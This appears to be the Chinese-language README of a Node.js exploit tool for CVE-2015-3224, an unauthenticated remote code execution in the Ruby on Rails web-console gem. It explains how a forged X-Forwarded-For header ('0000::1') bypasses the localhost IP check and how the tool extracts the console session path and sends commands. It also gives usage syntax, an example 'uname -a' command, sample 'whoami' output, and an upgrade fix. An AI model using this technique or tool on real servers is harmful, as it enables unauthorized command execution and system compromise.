一个基于 JavaScript(Node.js)实现的 CVE-2015-3224 漏洞利用工具。此工具针对运行存在漏洞版本的 web-console gem 的 Ruby on Rails 应用程序,可实现未经身份验证的远程代码执行(RCE)。
CVE-2015-3224 允许攻击者绕过 Rails web-console gem 的 IP 白名单保护。
web-console 是一个调试工具,旨在仅在开发期间使用。默认情况下,它将访问限制在 127.0.0.1(本地主机)IP 地址。然而,存在漏洞的版本在验证客户端 IP 地址时,基于 X-Forwarded-For HTTP 头部,且未进行适当的校验。
通过构造一个带有特定伪造 IP(例如 0000::1)的请求,攻击者可以欺骗应用程序,使其认为请求来自受信任的本地源。由于控制台会执行 Ruby 代码,这将直接导致远程代码执行(RCE)。
本脚本通过两个主要步骤自动完成利用过程:
侦察与路径提取:
data-remote-path,这是一个与控制台交互所需的唯一会话 ID。Payload 注入:
X-Forwarded-For: 0000::1 头部以绕过 IP 检查。input 参数中发送用户定义的命令(格式化为 application/x-www-form-urlencoded 请求体)。fetch)。克隆仓库,直接使用 Node.js 运行脚本:
# 语法
node exploit.js [目标URL] [命令]
# 示例
node exploit.js http://vulnerable-site.com "uname -a"
[*] 目标: http://vulnerable-site.com
[*] 命令: whoami
[+] 控制台路径已找到: console/repl_sessions/cd984a0d............
[+] 命令输出:
---------------------------------------------------
webrick
---------------------------------------------------
要修复此漏洞,请将 Gemfile 中的 web-console gem 更新到 2.1.3 或更高版本:
gem 'web-console', '>= 2.1.3'
或者,确保在生产环境中严格禁用 Web 控制台。
依据 MIT 许可证分发。